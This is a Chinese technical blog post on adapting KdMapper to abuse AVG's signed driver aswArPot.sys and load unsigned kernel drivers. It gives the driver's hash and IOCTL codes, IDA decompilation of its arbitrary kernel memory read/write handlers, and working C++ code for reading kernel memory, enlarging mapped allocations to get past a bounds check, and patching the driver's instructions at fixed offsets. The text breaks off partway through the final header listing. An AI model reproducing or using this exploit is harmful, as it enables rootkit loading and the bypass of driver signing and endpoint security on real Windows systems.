• KdMapper扩展实现之AVG(aswArPot.sys)

    1.背景

      KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动，本文是利用其它漏洞（参考《【转载】利用签名驱动漏洞加载未签名驱动》）做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

    2.驱动信息

    驱动名称aswArPot.sys 
    时间戳5FC5F955
    MD5A22626FEBC924EB219A953F1EE2B9600
    文件版本20.10.171.0
    设备名称\\.\avgSP_Avar
    读取内存0x9989C028
    写入内存0x9989C034
    Windows 7支持
    Windows 1022H2（包含） 及以下
    Windows 1122621（包含）及以下

    3.IDA分析

    3.1 入口函数：

    1. NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
    2. {
    3.         _security_init_cookie();
    4.         return InitializeDriver(DriverObject, RegistryPath);
    5. }
    6.  
    7. __int64 __fastcall InitializeDriver(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
    8. {
    9.         __int64 retaddr; // [rsp+0h] [rbp+0h]
    10.  
    11.         qword_14004D9A8 = retaddr;
    12.         return InitializeDriverImpletementation(DriverObject, RegistryPath);
    13. }
    14.  
    15. __int64 __fastcall InitializeDriverImpletementation(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
    16. {
    17.   ULONG MajorVersion; // [rsp+28h] [rbp-E0h] BYREF
    18.   ULONG MinorVersion[3]; // [rsp+2Ch] [rbp-DCh] BYREF
    19.   struct _OSVERSIONINFOW VersionInformation; // [rsp+38h] [rbp-D0h] BYREF
    20.  
    21.   PsGetVersion(&MajorVersion, MinorVersion, &BuildNumber, 0i64);
    22.   dword_14002A214 = MinorVersion[0] | (MajorVersion << 8);
    23.   if ( (unsigned int)dword_14002A214 < 0x501 )
    24.     return 3221225473i64;
    25.   strcpy((char *)&dword_14002A308, "201111");
    26.   VersionInformation.dwOSVersionInfoSize = 276;
    27.   if ( RtlGetVersion(&VersionInformation) >= 0
    28.     && (VersionInformation.dwMajorVersion > 6
    29.      || VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion >= 2) )
    30.   {
    31.     PoolType = 512;
    32.     dword_1400289B8 = 0x40000000;
    33.   }
    34.   sub_140020AB4(RegistryPath);
    35.   sub_140020BA0(RegistryPath);
    36.   CreateAvarDevice(DriverObject);
    37.   sub_140015AF8();
    38.   if ( !(unsigned int)CreateDevice(DriverObject) )
    39.     sub_140020FA8();
    40.   return 0i64;
    41. }

    3.2 创建设备和符号链接

    1. __int64 __fastcall CreateDevice(struct _DRIVER_OBJECT *pDriverObject)
    2. {
    3.   const wchar_t *szArPotDeviceName; // rdi
    4.   __int64 result; // rax
    5.   NTSTATUS ntStatus; // edi
    6.   _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-28h] BYREF
    7.   _UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-18h] BYREF
    8.  
    9.   DriverObject = pDriverObject;
    10.   szArPotDeviceName = L"aswSP_ArPot2";
    11.   if ( !g_bAswDevice )
    12.     szArPotDeviceName = L"avgSP_ArPot2";
    13.   _snwprintf(g_szArPotDeviceNameBuffer, 0x1Eui64, L"\\Device\\%s", szArPotDeviceName);
    14.   _snwprintf(g_szArPotSymbolicLinkNameBuffer, 0x1Eui64, L"\\DosDevices\\%s", szArPotDeviceName);
    15.   RtlInitUnicodeString(&DestinationString, g_szArPotDeviceNameBuffer);
    16.   RtlInitUnicodeString(&SymbolicLinkName, g_szArPotSymbolicLinkNameBuffer);
    17.   result = IoCreateDeviceSecure(
    18.              pDriverObject,
    19.              0,
    20.              &DestinationString,
    21.              0x7299u,
    22.              256,
    23.              1,
    24.              (PUNICODE_STRING)L"68",
    25.              0i64,
    26.              &DeviceObject);
    27.   if ( (int)result >= 0 )
    28.   {
    29.     ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    30.     if ( ntStatus >= 0 )
    31.     {
    32.       memset64(pDriverObject->MajorFunction, (unsigned __int64)MainDispatch, 0x1Cui64);
    33.       result = 0i64;
    34.     }
    35.     else
    36.     {
    37.       IoDeleteDevice(DeviceObject);
    38.       result = (unsigned int)ntStatus;
    39.     }
    40.   }
    41.   return result;
    42. }
    43.  
    44. __int64 __fastcall CreateAvarDevice(PDRIVER_OBJECT pDriverObject)
    45. {
    46.   __int64 result; // rax
    47.   const wchar_t *szAvarDeviceName; // r9
    48.   __int64 v4; // rcx
    49.   __int16 v5; // ax
    50.   __int64 v6; // rcx
    51.   __int16 v7; // ax
    52.   __int64 v8; // rcx
    53.   __int16 v9; // ax
    54.   __int64 v10; // rcx
    55.   char v11; // al
    56.   ULONG MajorVersion; // [rsp+58h] [rbp-89h] BYREF
    57.   ULONG MinorVersion; // [rsp+5Ch] [rbp-85h] BYREF
    58.   _UNICODE_STRING DestinationString; // [rsp+60h] [rbp-81h] BYREF
    59.   _UNICODE_STRING SymbolicLinkName; // [rsp+70h] [rbp-71h] BYREF
    60.   char v16[16]; // [rsp+80h] [rbp-61h] BYREF
    61.   int v17[6]; // [rsp+90h] [rbp-51h]
    62.   __int16 v18; // [rsp+A8h] [rbp-39h]
    63.   int v19[8]; // [rsp+B0h] [rbp-31h]
    64.   __int16 v20; // [rsp+D0h] [rbp-11h]
    65.   int v21[9]; // [rsp+D8h] [rbp-9h]
    66.   __int16 v22; // [rsp+FCh] [rbp+1Bh]
    67.  
    68.   g_AvarDeviceObject = 0i64;
    69.   PsGetVersion(&MajorVersion, &MinorVersion, &g_OsBuildNumber, 0i64);
    70.   nOsVersion = MinorVersion | (MajorVersion << 8);
    71.   if ( (unsigned int)nOsVersion < 0x500 )
    72.     return 0xC0000001i64;
    73.   szAvarDeviceName = L"aswSP_Avar";
    74.   if ( !g_bAswDevice )
    75.     szAvarDeviceName = L"avgSP_Avar";
    76.   g_szAvarDeviceName = (__int64)szAvarDeviceName;
    77.   _snwprintf(g_szAvarDeviceNameBuffer, 0x1Eui64, L"\\Device\\%s");
    78.   _snwprintf(g_szAvarSymbolicLinkNameBuffer, 0x1Eui64, L"\\DosDevices\\%s", g_szAvarDeviceName);
    79.   RtlInitUnicodeString(&DestinationString, g_szAvarDeviceNameBuffer);
    80.   RtlInitUnicodeString(&SymbolicLinkName, g_szAvarSymbolicLinkNameBuffer);
    81.   result = IoCreateDeviceSecure(
    82.              pDriverObject,
    83.              0,
    84.              &DestinationString,
    85.              0x9988u,
    86.              256,
    87.              0,
    88.              (PUNICODE_STRING)L"68",
    89.              0i64,
    90.              &g_AvarDevice);
    91.   g_ntStatus = result;
    92.   if ( (int)result >= 0 )
    93.   {
    94.     g_ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    95.     if ( g_ntStatus >= 0 )
    96.     {
    97.       g_AvarDeviceObject = g_AvarDevice;
    98.       v4 = 0i64;
    99.       v19[0] = 'F\0\\';
    100.       v19[1] = 7077993;
    101.       v19[2] = 7536741;
    102.       v19[3] = 7536761;
    103.       v19[4] = 6619252;
    104.       v19[5] = 6029421;
    105.       v19[6] = 7602254;
    106.       v19[7] = 7536742;
    107.       v20 = 0;
    108.       v17[0] = 4456540;
    109.       v17[1] = 6881394;
    110.       v17[2] = 6619254;
    111.       v17[3] = 6029426;
    112.       v17[4] = 6881348;
    113.       v17[5] = 7012467;
    114.       v18 = 0;
    115.       v21[0] = 7274569;
    116.       v21[1] = 4391014;
    117.       v21[2] = 7143535;
    118.       v21[3] = 7078000;
    119.       v21[4] = 7602277;
    120.       v21[5] = 5374053;
    121.       v21[6] = 7405669;
    122.       v21[7] = 6619253;
    123.       v21[8] = 7602291;
    124.       v22 = 0;
    125.       strcpy(v16, "CLASSPNP.SYS");
    126.       do
    127.       {
    128.         v5 = *(_WORD *)((char *)v19 + v4);
    129.         *(_WORD *)(v4 + 0x14004D040i64) = v5;
    130.         v4 += 2i64;
    131.       }
    132.       while ( v5 );
    133.       v6 = 0i64;
    134.       do
    135.       {
    136.         v7 = *(_WORD *)((char *)v17 + v6);
    137.         *(_WORD *)(v6 + 0x14004D120i64) = v7;
    138.         v6 += 2i64;
    139.       }
    140.       while ( v7 );
    141.       v8 = 0i64;
    142.       do
    143.       {
    144.         v9 = *(_WORD *)((char *)v21 + v8);
    145.         *(_WORD *)(v8 + 0x14004D3A0i64) = v9;
    146.         v8 += 2i64;
    147.       }
    148.       while ( v9 );
    149.       v10 = 0i64;
    150.       do
    151.       {
    152.         v11 = v16[v10];
    153.         *(_BYTE *)(v10 + 0x14004D380i64) = v11;
    154.         ++v10;
    155.       }
    156.       while ( v11 );
    157.       stru_14004D0E0.Count = 1;
    158.       qword_1400289D8 = (__int64)&qword_1400289D0;
    159.       qword_1400289D0 = &qword_1400289D0;
    160.       stru_14004D0E0.Owner = 0i64;
    161.       stru_14004D0E0.Contention = 0;
    162.       KeInitializeEvent(&stru_14004D0E0.Event, SynchronizationEvent, 0);
    163.       sub_140019CB4();
    164.       sub_14001C130();
    165.       qword_14004CF40 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD, _DWORD, _DWORD, _DWORD, _QWORD, _DWORD, _DWORD, _QWORD, _DWORD, _QWORD))sub_14001C7F8(L"IoCreateFileSpecifyDeviceObjectHint");
    166.       qword_14004CD60 = sub_14001C7F8(L"IofCallDriver");
    167.       sub_14001C7F8(L"IofCompleteRequest");
    168.       sub_14001A24C();
    169.       sub_14001FC24();
    170.       result = 0i64;
    171.     }
    172.     else
    173.     {
    174.       IoDeleteDevice(g_AvarDevice);
    175.       result = (unsigned int)g_ntStatus;
    176.     }
    177.   }
    178.   return result;
    179. }

      创建设备有两个，需要分析的是 CreateAvarDevice，其创建的设备名是 aswSP_Avar 或 avgSP_Avar，实际中根据驱动安装逻辑创建的是 avgSP_Avar。

    3.3 MainDispatch

    1. NTSTATUS __fastcall MainDispatch(struct _DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
    2. {
    3.         struct _DEVICE_OBJECT* pRequestDeviceObject; // rbx
    4.         pRequestDeviceObject = pDeviceObject;
    5.         ......    
    6.  
    7.         if (g_AvarDeviceObject && pDeviceObject == g_AvarDeviceObject)
    8.         {
    9.                 if (pIrp->RequestorMode)
    10.                 {
    11.                         if (!pIrp->Tail.Overlay.CurrentStackLocation->MajorFunction)
    12.                         {
    13.                                 if (CheckAvarDeviceIoControlProcess)
    14.                                 {
    15.                                         v18 = IoGetRequestorProcessId(pIrp);
    16.                                         if (!(unsigned __int8)CheckAvarDeviceIoControlProcess(v18))
    17.                                         {
    18.                                         LABEL_17:
    19.                                                 pIrp->IoStatus.Status = 0xC00000BB;
    20.                                                 IofCompleteRequest(pIrp, 0);
    21.                                                 return 0xC00000BB;
    22.                                         }
    23.                                 }
    24.                         }
    25.                 }
    26.                 result = AvarDeviceMainDispatch((__int64)pRequestDeviceObject, pIrp);
    27.         }
    28.         else
    29.         {
    30.                 ......
    31.         }
    32.         return result;
    33. }
    34.  
    35. __int64 __fastcall AvarDeviceMainDispatch(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
    36. {
    37.         _IO_STACK_LOCATION* pIosp; // rcx
    38.         IO_STATUS_BLOCK* pIoStatus; // r11
    39.         unsigned int ntStatus; // edi
    40.         PVOID pInputBuffer; // rdx
    41.         PVOID pOutputBuffer; // r9
    42.         __int64 nInputBufferLength; // r8
    43.         int nIoControlCode; // er10
    44.  
    45.         pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
    46.         pIoStatus = &pIrp->IoStatus;
    47.         ntStatus = 0;
    48.         pIrp->IoStatus.Information = 0i64;
    49.         pInputBuffer = pIrp->AssociatedIrp.SystemBuffer;
    50.         pIoStatus->Status = 0;
    51.         pOutputBuffer = pInputBuffer;
    52.         nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
    53.         nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
    54.         if (pIosp->MajorFunction == 2)
    55.         {
    56.                 sub_140019B60(pIosp, pInputBuffer, nInputBufferLength, pInputBuffer);
    57.                 sub_140017CF8(&dword_14004D440);
    58.         }
    59.         else if (pIosp->MajorFunction == 14)
    60.         {
    61.                 if ((nIoControlCode & 3) == 3)
    62.                         pOutputBuffer = pIrp->UserBuffer;
    63.                 ntStatus = AvarDeviceIoControl(
    64.                         pIosp->FileObject,
    65.                         pInputBuffer,
    66.                         nInputBufferLength,
    67.                         pOutputBuffer,
    68.                         pIosp->Parameters.DeviceIoControl.OutputBufferLength,
    69.                         nIoControlCode,
    70.                         pIoStatus,
    71.                         pDeviceObject);
    72.         }
    73.         IofCompleteRequest(pIrp, 0);
    74.         return ntStatus;
    75. }
    76.  
    77. __int64 __fastcall AvarDeviceIoControl(PFILE_OBJECT pFileObject, PVOID pInputBuffer, unsigned int nInputBufferLength, PVOID pOutputBuffer, unsigned int nOutputBufferLength, int nIoControlCode, IO_STATUS_BLOCK* pIoStatus, PDEVICE_OBJECT pDeviceObject)
    78. {
    79.         ......
    80.         NTSTATUS ntStatusV44; // eax
    81.  
    82.         if (nIoControlCode != 0x9988C044)
    83.         {
    84.                 ......
    85.                 switch (nIoControlCode)
    86.                 {
    87.                         ......
    88.                         default:
    89.                                 ntStatusV44 = AvarDefaultDeviceIoControl(
    90.                                         pFileObject,
    91.                                         (ASWARPOT_COPY_MEMORY_INFO*)pInputBuffer,
    92.                                         nInputBufferLength,
    93.                                         pOutputBuffer,
    94.                                         nOutputBufferLength,
    95.                                         nIoControlCode,
    96.                                         pIoStatus);
    97.                                 goto LABEL_215;
    98.                 }
    99.                 ntStatusV44 = 0xC0000206;
    100.                 goto LABEL_215;
    101.         }
    102.  
    103.         return result;
    104. }
    105.  
    106. __int64 __fastcall AvarDefaultDeviceIoControl(PFILE_OBJECT pFileObject, ASWARPOT_COPY_MEMORY_INFO* pInputBuffer, unsigned int nInputBufferLength, PVOID pOutputBuffer, ULONG nOutputBufferLength, int nIoControlCode, IO_STATUS_BLOCK* pIoStatus)
    107. {
    108.         size_t nInputBufferLengthV8; // r13
    109.         _OWORD* nOutputBufferV9; // r15
    110.         PVOID P[4]; // [rsp+50h] [rbp-378h] BYREF
    111.  
    112.  
    113.         P[2] = pInputBuffer;
    114.         nInputBufferLengthV8 = nInputBufferLength;
    115.         nOutputBufferV9 = pOutputBuffer;
    116.         P[3] = pOutputBuffer;
    117.         P[1] = pIoStatus;
    118.         LODWORD(P[0]) = 0;
    119.         
    120.         if (nIoControlCode != 0x9989C020)
    121.         {
    122.                 switch (nIoControlCode)
    123.                 {
    124.                         ......
    125.                         case 0x9989C028:
    126.                                 if (nInputBufferLength < 8 || !pInputBuffer)// 读取内存
    127.                                 {
    128.                                         result = 0xC0000206i64;
    129.                                         pIoStatus->Status = 0xC0000206;
    130.                                         return result;
    131.                                 }
    132.                                 if (nOutputBufferLength < 4 || !pOutputBuffer)
    133.                                 {
    134.                                         result = 0xC0000206i64;
    135.                                         pIoStatus->Status = 0xC0000206;
    136.                                         return result;
    137.                                 }
    138.                                 P[0] = pInputBuffer->ReadSourceAddress;
    139.                                 if (MmIsAddressValid(P[0]) && MmIsAddressValid((char*)P[0] + nOutputBufferLength))
    140.                                 {
    141.                                         CopyMemoryWithSourceMdl(nOutputBufferV9, P[0], nOutputBufferLength);
    142.                                         pIoStatus->Information = nOutputBufferLength;
    143.                                         pIoStatus->Status = 0;
    144.                                         return 0i64;
    145.                                 }
    146.                                 pIoStatus->Status = 0xC000000D;
    147.                                 break;
    148.                         case 0x9989C034:
    149.                                 if (nInputBufferLength >= 0x18 && pInputBuffer)// 写入内存
    150.                                 {
    151.                                         if (MmIsAddressValid(pInputBuffer->DestinationAddress)
    152.                                                 && MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size))// 这里应该是 + pInputBuffer->Size -1
    153.                                         {
    154.                                                 CopyMemoryWithDestinaionMdl(pInputBuffer->DestinationAddress, pInputBuffer->Buffer, pInputBuffer->Size);
    155.                                                 pIoStatus->Status = 0;
    156.                                                 pIoStatus->Information = 0i64;
    157.                                                 result = 0i64;
    158.                                         }
    159.                                         else
    160.                                         {
    161.                                                 result = 0xC000000Di64;
    162.                                                 pIoStatus->Status = 0xC000000D;
    163.                                                 pIoStatus->Information = 0i64;
    164.                                         }
    165.                                 }
    166.                                 else
    167.                                 {
    168.                                         result = 0xC0000206i64;
    169.                                         pIoStatus->Status = 0xC0000206;
    170.                                 }
    171.                                 return result;
    172.                         case 0x9989C02C:
    173.                                 ......
    174.                         }
    175.                 return sub_1400182E8(
    176.                         (__int64)pFileObject,
    177.                         (unsigned int*)pInputBuffer,
    178.                         nInputBufferLengthV8,
    179.                         nOutputBufferV9,
    180.                         nOutputBufferLength,
    181.                         nIoControlCode,
    182.                         pIoStatus);
    183.         }
    184.        
    185.         return result;
    186. }

      其中 0x9989C028 是读取内存，0x9989C034为写入内存。

      代码第 132 行内容为   if (nOutputBufferLength < 4 || !pOutputBuffer)，此处限制每次读取的大小为一个 ULONG，如果读取的字节数小于 4 个字节需要转换一下，参见《4.1 读取内存限制》。

      代码第 152 行为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size)，这里应该为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size-1)，前者的逻辑使用期间会超出指定的地址范围，如果范围之外的内存页是无效的话就会导致验证失败。相关修改参见《4.2 写入内存地址范围验证》。

     3.4 CopyMemoryWithSourceMdl

    1. __int64 __fastcall CopyMemoryWithSourceMdl(PVOID DestinationAddress, void* SourceAddress, ULONG nSize)
    2. {
    3.         char bLockedPages; // si
    4.         PMDL pMDL; // rax
    5.         _MDL* pMdl2; // rdi
    6.         PVOID pMappedAddress; // r14
    7.         unsigned int ntSatus; // ebx
    8.         KIRQL oldSpinLock; // bl
    9.         KSPIN_LOCK SpinLock[6]; // [rsp+38h] [rbp-30h] BYREF
    10.  
    11.         bLockedPages = 0;
    12.         pMDL = IoAllocateMdl(SourceAddress, nSize, 0, 0, 0i64);
    13.         pMdl2 = pMDL;
    14.         SpinLock[1] = (KSPIN_LOCK)pMDL;
    15.         if (!pMDL)
    16.                 return 0xC000009Ai64;
    17.         if ((pMDL->MdlFlags & 7) == 0)
    18.         {
    19.                 MmProbeAndLockPages(pMDL, 0, IoModifyAccess);
    20.                 bLockedPages = 1;
    21.         }
    22.         pMappedAddress = MmMapLockedPagesSpecifyCache(pMdl2, 0, MmCached, 0i64, 0, dword_1400289B8 | 0x10u);
    23.         if (pMappedAddress)
    24.         {
    25.                 SpinLock[0] = 0i64;
    26.                 oldSpinLock = KeAcquireSpinLockRaiseToDpc(SpinLock);
    27.                 memmove(DestinationAddress, pMappedAddress, nSize);
    28.                 KeReleaseSpinLock(SpinLock, oldSpinLock);
    29.                 ntSatus = 0;
    30.                 MmUnmapLockedPages(pMappedAddress, pMdl2);
    31.         }
    32.         else
    33.         {
    34.                 ntSatus = 0xC000009A;
    35.         }
    36.         if (bLockedPages)
    37.                 MmUnlockPages(pMdl2);
    38.         IoFreeMdl(pMdl2);
    39.         return ntSatus;
    40. }

       其中第 19 行为 MmProbeAndLockPages(pMDL, 0, IoModifyAccess)， 第三个参数应应该为 IoReadAceess，否则在映射不可写内存时会导致失败。相关修改参见《4.3 锁定页面参数修改》。

    3.5 CopyMemoryWithDestinaionMdl

    1. __int64 __fastcall CopyMemoryWithDestinaionMdl(void* DestinationAddress, PVOID SourceAddress, ULONG nSize)
    2. {
    3.         char bLockedPages; // si
    4.         PMDL pMdl; // rax
    5.         _MDL* pMdlMapped; // rdi
    6.         PVOID pMappedAddress; // r14
    7.         unsigned int ntStatus; // ebx
    8.         KIRQL oldSpinLock; // bl
    9.         KSPIN_LOCK SpinLock[6]; // [rsp+38h] [rbp-30h] BYREF
    10.  
    11.         bLockedPages = 0;
    12.         pMdl = IoAllocateMdl(DestinationAddress, nSize, 0, 0, 0i64);
    13.         pMdlMapped = pMdl;
    14.         SpinLock[1] = (KSPIN_LOCK)pMdl;
    15.         if (!pMdl)
    16.                 return 0xC000009Ai64;
    17.         if ((pMdl->MdlFlags & 7) == 0)
    18.         {
    19.                 MmProbeAndLockPages(pMdl, 0, IoModifyAccess);
    20.                 bLockedPages = 1;
    21.         }
    22.         pMappedAddress = MmMapLockedPagesSpecifyCache(pMdlMapped, 0, MmCached, 0i64, 0, dword_1400289B8 | 0x10u);
    23.         if (pMappedAddress)
    24.         {
    25.                 SpinLock[0] = 0i64;
    26.                 oldSpinLock = KeAcquireSpinLockRaiseToDpc(SpinLock);
    27.                 memmove(pMappedAddress, SourceAddress, nSize);
    28.                 KeReleaseSpinLock(SpinLock, oldSpinLock);
    29.                 ntStatus = 0;
    30.                 MmUnmapLockedPages(pMappedAddress, pMdlMapped);
    31.         }
    32.         else
    33.         {
    34.                 ntStatus = 0xC000009A;
    35.         }
    36.         if (bLockedPages)
    37.                 MmUnlockPages(pMdlMapped);
    38.         IoFreeMdl(pMdlMapped);
    39.         return ntStatus;
    40. }

       其中第 19 行为 MmProbeAndLockPages(pMDL, 0, IoModifyAccess)， 第三个参数应应该为 IoReadAceess，否则在映射不可写内存时会导致失败。相关修改参见《4.3 锁定页面参数修改》。

    3.6 _ASWARPOT_COPY_MEMORY_INFO结构体

    1. 00000000 _ASWARPOT_COPY_MEMORY_INFO struc ; (sizeof=0x18, align=0x8, copyof_400)
    2. 00000000 ReadSourceAddress dq ?                  ; offset
    3. 00000008 DestinationAddress dq ?                 ; offset
    4. 00000010 Size            dd ?
    5. 00000014 Buffer          db 4 dup(?)
    6. 00000018 _ASWARPOT_COPY_MEMORY_INFO ends

    4.相关逻辑分析及修改

    4.1 读取内存限制

      在《3.3 MainDispatch》代码第 132 行内容为   if (nOutputBufferLength < 4 || !pOutputBuffer)，此处限制每次读取的大小为一个 ULONG，如果读取的字节数小于 4 个字节需要转换一下，

      实现代码如下：

    1. #define ASWARPOT_DEVICE_TYPE          (DWORD)0x9989
    2. #define ASWARPOT_READ_MEMORY_FUNCID   (DWORD)0x300A
    3. #define IOCTL_ASWARPOT_READ_MEMORY      \
    4.     CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C028
    5.  
    6. typedef struct _ASWARPOT_COPY_MEMORY_INFO
    7. {
    8.     PVOID ReadSourceAddress;
    9.     PVOID DestinationAddress;
    10.     ULONG Size;
    11.     BYTE  Buffer[4];
    12. }ASWARPOT_COPY_MEMORY_INFO, *PASWARPOT_COPY_MEMORY_INFO;
    13.  
    14. bool avg_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {
    15.  
    16.         ASWARPOT_COPY_MEMORY_INFO info = { 0 };
    17.         bool bResult = false;
    18.         info.ReadSourceAddress = (PVOID)address;
    19.         ULONG ulData = 0;
    20.         if (size < 4)
    21.         {
    22.                 bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), &ulData, 4);
    23.                 if (!bResult)
    24.                 {
    25.                         Log(L"[-] ReadMemory 1 failed\r\n");
    26.                 }
    27.                 else
    28.                 {
    29.                         RtlCopyMemory(buffer, &ulData, size);
    30.                 }
    31.  
    32.         }
    33.         else
    34.         {
    35.                 bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), buffer, size);
    36.                 if (!bResult)
    37.                 {
    38.                         Log(L"[-] ReadMemory 2 failed\r\n");
    39.                 }
    40.         }
    41.  
    42.         return bResult;
    43. }

    4.2 写入内存地址范围验证

      在《3.3 MainDispatch》代码第 152 行为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size)，这里应该为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size-1)，前者的逻辑使用期间会超出指定的地址范围，如果范围之外的内存页是无效的话就会导致验证失败。

      实际使用过程中要我们分配目标驱动内存并写入数据时会导致验证失败，这时我们可以将分配的内存扩大，实际复制数据时使用原始大小，修改后的相关代码如下：

    1. uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, bool mdlMode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode) 
    2. {
    3.     ......
    4.     void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    5. 	if (!local_image_base)
    6. 		return 0;
    7.  
    8. 	DWORD TotalVirtualHeaderSize = (IMAGE_FIRST_SECTION(nt_headers))->VirtualAddress;
    9. 	image_size = image_size - (destroyHeader ? TotalVirtualHeaderSize : 0);
    10.  
    11. 	uint64_t kernel_image_base = 0;
    12. 	uint64_t mdlptr = 0;
    13. 	//因为校验时的边界设置错误，故分配时的大小加一个页面，使用时按原大小
    14. 	if (mdlMode) {
    15. 		
    16. 		kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size + 0x1000, &mdlptr);
    17. 	}
    18. 	else {
    19. 		kernel_image_base = avg_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size+0x1000);
    20. 	}
    21.     ......
    22. }

    4.3 锁定页面参数修改

      在《3.4 CopyMemoryWithSourceMdl》和《3.5 CopyMemoryWithDestinaionMdl》 中 MmProbeAndLockPages 第三个参数为 IoModifyAccess，即 2，这样会导致映射不可写内存页面时失败，应该改为IoReadAccess，也即为 0。其实在之后调用 MmMapLockedPagesSpecifyCache 后，内存已经变为可读可写了，之前的 MmProbeAndLockPages 第三个参数为 IoReadAccess就可以了。 

    4.3.1 CopyMemoryWithSourceMdl 修改 

      IDA 定位如下：

    1. .text:000000014001DD97                         loc_14001DD97:                          ; DATA XREF: .rdata:0000000140027550↓o
    2. .text:000000014001DD97 33 D2                                   xor     edx, edx        ; AccessMode
    3. .text:000000014001DD99 44 8D 42 02                             lea     r8d, [rdx+2]
    4. .text:000000014001DD9D 48 8B CF                                mov     rcx, rdi        ; MemoryDescriptorList
    5. .text:000000014001DDA0 FF 15 BA 62 00 00                       call    cs:MmProbeAndLockPages

      可以修改 lea r8d, [rdx+2] 为  lea r8d, [rdx] 即可，即使将 000000014001DD99 处的机器码修改为 44 80 42 00，也即将 000000014001DD9C 对应的字节改为 0。 

      000000014001DD9C 处对应的的虚拟地址偏移量可用 StudyPE 查询，如下：

      

      即驱动基址加 0x1DD9C 处字节修改为0。

    4.3.2 CopyMemoryWithDestinaionMdl 修改

      IDA 定位如下：

    1. .text:000000014001DEB3                         loc_14001DEB3:                          ; DATA XREF: .rdata:000000014002757C↓o
    2. .text:000000014001DEB3 33 D2                                   xor     edx, edx        ; AccessMode
    3. .text:000000014001DEB5 44 8D 42 02                             lea     r8d, [rdx+2]    ; Operation
    4. .text:000000014001DEB9 48 8B CF                                mov     rcx, rdi        ; MemoryDescriptorList
    5. .text:000000014001DEBC FF 15 9E 61 00 00                       call    cs:MmProbeAndLockPages

      可以修改 lea r8d, [rdx+2] 为  lea r8d, [rdx] 即可，即使将 000000014001DEB5 处的机器码修改为 44 80 42 00，也即将 000000014001DEB8 对应的字节改为 0。 

      000000014001DEB8 处对应的的虚拟地址偏移量可用 StudyPE 查询，如下：

      

      即驱动基址加 0x1DEB8 处字节修改为0。

    4.3.3 相关代码

    1. #define READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1dd9c)
    2. #define WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1deb8)
    3.  
    4. bool avg_driver::PatchDriver(HANDLE device_handle)
    5. {
    6.         BYTE byData = 0;
    7.         uint64_t driverBase = utils::GetKernelModuleAddress(driver_name);
    8.  
    9.         if (driverBase == 0) {
    10.                 Log(L"[-] Failed to get driver:" << driver_name << std::endl);
    11.                 avg_driver::Unload(device_handle);
    12.                 return false;
    13.         }
    14.         //将对应读写内存 MmProbeAndLockPages(pMdl, 0, IoModifyAccess); 第三个参数改为 IoReadAccess
    15.         uint64_t patchReadAddress = driverBase + READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
    16.         if (!WriteMemory(device_handle, patchReadAddress, &byData, 1))
    17.         {
    18.                 Log(L"[-] Failed to Write Memory In Patch Driver 1" << std::endl);
    19.                 avg_driver::Unload(device_handle);
    20.                 return false;
    21.         }
    22.  
    23.         uint64_t patchWriteAddress = driverBase + WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
    24.         if (!WriteMemory(device_handle, patchWriteAddress, &byData, 1))
    25.         {
    26.                 Log(L"[-] Failed to Write Memory In Patch Driver 2" << std::endl);
    27.                 avg_driver::Unload(device_handle);
    28.                 return false;
    29.         }
    30.         Log(L"[+] PatchDriver OK!\r\n");
    31.         return true;
    32. }

    5.完整关键代码

      头文件

    1. #define ASWARPOT_DEVICE_TYPE          (DWORD)0x9989
    2. #define ASWARPOT_READ_MEMORY_FUNCID   (DWORD)0x300A
    3. #define ASWARPOT_WRITE_MEMORY_FUNCID (DWORD)0x300D
    4.  
    5. #define IOCTL_ASWARPOT_READ_MEMORY      \
    6.     CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C028
    7. #define IOCTL_ASWARPOT_WRITE_MEMORY    \
    8.     CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_WRITE_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C034
    9.  
    10. #define READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET      (0x1dd9c)
